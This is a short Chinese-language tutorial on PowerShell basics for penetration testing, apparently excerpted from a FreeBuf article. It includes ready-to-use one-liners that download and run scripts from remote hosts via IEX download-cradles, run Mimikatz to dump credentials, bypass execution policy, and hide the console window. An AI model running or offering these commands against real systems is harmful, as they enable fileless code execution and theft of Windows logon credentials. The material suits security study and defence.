powershell的几个基础知识
https://www.freebuf.com/articles/system/227467.html
2.1 powershell版本问题
powershell只能针对win7之后的系统,之前的win操作系统默认没有安装powershell。不同架构的payload(x86或x64)需要不同版本的powershell来加载,否则会出错。
64位所在目录:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe32位所在目录:
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
2.2 常见执行方式
先介绍一下powershell的两种常见执行方式:
1、网络环境直接执行代码
无文件写入,相对较为隐蔽。下面代码为加载远程脚本Invoke-Mimikatz.ps1,执行Mimikatz的DumpCreds功能。
powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
2、 本地执行
先把http://10.211.55.2/Invoke-Mimikatz.ps1下载到本地
然后导入powershell Import-Module .\Invoke-Mimikatz.ps1
使用命令Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
或者Invoke-Mimikatz -DumpCreds
2.3 执行策略
查看执行策略powershell Get-ExecutionPolicy

powershell有六种执行策略:
Unrestricted权限最高,可以不受限制执行任意脚本
Restricted默认策略,不允许任意脚本的执行
AllSigned所有脚本必须经过签名运行
RemoteSigned本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass没有任何限制和提示
Undefined没有设置脚本的策略
默认情况下,禁止脚本执行。除非管理员更改执行策略。
powershell Set-ExecutionPolicy Unrestricted设置执行策略(需要管理员权限)

绕过执行策略执行大概有以下几种:
1.本地读取然后通过管道符运行
powershell Get-Content 1.ps1 | powershell -NoProfile -
2.远程下载并通过IEX运行脚本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"
3.Bypass执行策略绕过
powershell -ExecutionPolicy bypass -File ./a.ps1
不会显示警告和提示
4.Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./a.ps1
当运行一个从网上下载的未签名的脚本时,会给出权限提示
需要解释的是:
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

浙公网安备 33010602011771号